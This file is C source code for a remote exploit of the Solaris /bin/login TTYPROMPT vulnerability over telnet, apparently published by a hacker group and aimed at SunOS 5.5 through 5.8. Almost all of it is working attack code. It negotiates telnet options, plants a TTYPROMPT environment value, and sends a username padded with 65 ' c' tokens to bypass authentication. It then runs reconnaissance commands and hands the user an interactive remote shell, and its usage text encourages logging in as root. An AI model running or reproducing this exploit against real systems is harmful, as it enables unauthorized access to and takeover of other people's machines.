/****************************************************************** 


Solaris 2.6, 7, and 8 /bin/login TTYPROMPT remote exploit. 

Tested for: 
SunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc 
SunOS 5.6, 5.7, 5.8 x86 

Code by lion 
lion@cnhonker.net 

Welcome to HUC website http://www.cnhonker.com 


******************************************************************/ 

#include <stdio.h> 
#include <string.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <errno.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <arpa/telnet.h> 

#define BUFLEN 1024 

char shellcode[]= "\x97\x97\x97\x97\x97\x97"; 

void usage(char *p) 
{ 
printf("Usage: %s [-u user] [-p port] <-h host>\n\n", p); 
printf(" -u: login username (default: bin), try \"root\" :)\n"); 
printf(" -p: port to use (default: 23)\n\n"); 

printf("\n"); 
exit(0); 
} 

void msg(char *msg) 
{ 
perror(msg); 
exit(errno); 
} 

u_int32_t get_ip(char *host) 
{ 
struct hostent *hp; 

if(!(hp = gethostbyname(host))){ 
fprintf(stderr, "cannot resolve %s\n", host); 
return(0); 
} 
return(*(u_int32_t *)hp->h_addr_list[0]); 
} 

int get_socket(char *target, int port) 
{ 
int sock; 
u_int32_t ip; 
struct sockaddr_in sin; 

if(!(ip = get_ip(target))) 
return(0); 

bzero(&sin, sizeof(sin)); 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 
sin.sin_addr.s_addr = ip; 

if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) 
msg("socket"); 
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) 
msg("connect"); 
return(sock); 
} 

void send_wont(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = WONT; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
msg("write"); 
return; 
} 

void send_will(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = WILL; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
msg("write"); 
return; 
} 

void send_do(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = DO; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
msg("write"); 
return; 
} 

void send_env(int sock, char *name, char *value) 
{ 
char buf[BUFLEN], *ptr = buf; 

*ptr++ = IAC; 
*ptr++ = SB; 
*ptr++ = TELOPT_NEW_ENVIRON; 
*ptr++ = TELQUAL_IS; 
*ptr++ = NEW_ENV_VAR; 
strncpy(ptr, name, BUFLEN-20); 
ptr += strlen(ptr); 
*ptr++ = NEW_ENV_VALUE; 
strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1); 
ptr += strlen(ptr); 
*ptr++ = IAC; 
*ptr++ = SE; 

if(write(sock, buf, (ptr - buf)) < 0) 
msg("write"); 
return; 
} 

void do_negotiate(int sock) 
{ 
send_wont(sock, TELOPT_TTYPE); 
send_wont(sock, TELOPT_NAWS); 
send_wont(sock, TELOPT_LFLOW); 
send_wont(sock, TELOPT_LINEMODE); 
send_wont(sock, TELOPT_XDISPLOC); 
send_will(sock, TELOPT_LFLOW); 
send_will(sock, TELOPT_LINEMODE); 
send_wont(sock, TELOPT_OLD_ENVIRON); 
send_will(sock, TELOPT_NEW_ENVIRON); 
send_will(sock, TELOPT_BINARY); 
send_env(sock, "TTYPROMPT", shellcode); 
return; 
} 

void write_attack_buf(int sock, char *user) 
{ 
char outbuf[128],*s_buf; 
int i, j; 

if(!(s_buf = (char *)calloc(BUFLEN*2, 1))) 
msg("malloc"); 

strcpy(outbuf, user); 
for(i = 0; i < 65; i++) 
{ 
strcat(outbuf, " c"); 
} 
strcat(outbuf, "\n"); 

printf("send to target:\n%s\n", outbuf); 
if(write(sock, outbuf, strlen(outbuf)) < 0) 
msg("write"); 



/* -- 2 reads for reading the garbage which screws up term -- */ 
if((j = read(sock, s_buf, BUFLEN)) < 0) 
msg("read"); 

if((j = read(sock, s_buf, BUFLEN)) < 0) 
msg("read"); 
free(s_buf); 
return; 
} 

int main(int argc, char **argv) 
{ 
int c, n, sockfd, port = 23; 
char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; 
char user[36], host[36]; 
fd_set rset; 

printf("============================================================\n"); 
printf("Solaris 5.6 7 8 telnetd Remote exploit\n"); 
printf("Tested for:\nSunOS 5.5, 5.5.1, 5.6, 5.7, 5.8 Sparc\nSunOS 5.6, 5.7, 5.8 x86\n"); 
printf("Code by lion, Welcome to HUC website http://www.cnhonker.com\n\n"); 

if(argc <3) usage(argv[0]); 
strcpy(user, "bin"); 
while((c = getopt(argc, argv, "h:u:p:")) != EOF){ 
switch(c){ 
case 'h': 
strncpy(host, optarg, 36); 
break; 
case 'u': 
strncpy(user,optarg, 36); 
break; 
case 'p': 
port = atoi(optarg); 
break; 
} 
} 

if(!(sockfd = get_socket(host, port))) 
exit(-1); 

do_negotiate(sockfd); 

n = read(sockfd, buf, sizeof(buf)); 

write_attack_buf(sockfd,user); 

send_wont(sockfd, TELOPT_BINARY); 

sleep(1); 
read(sockfd, buf, sizeof(buf)); 

write(sockfd, shellstr, strlen(shellstr)); 
n = read(sockfd, buf, sizeof(buf)); 

FD_ZERO(&rset); 
for(;;){ 
FD_SET(0, &rset); 
FD_SET(sockfd, &rset); 
if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) 
msg("select"); 

if(FD_ISSET(sockfd, &rset)){ 
bzero(buf, sizeof(buf)); 
if((n = read(sockfd, buf, sizeof(buf))) < 0) 
msg("read"); 
if(n == 0){ 
printf("EOF\n"); 
exit(0); 
} 
write(1, buf, n); 
} 

if(FD_ISSET(0, &rset)){ 
bzero(buf, sizeof(buf)); 
if((n = read(0, buf, sizeof(buf))) < 0) 
msg("read"); 
if(n == 0) 
exit(0); 
write(sockfd, buf, n); 
} 
} 
} 

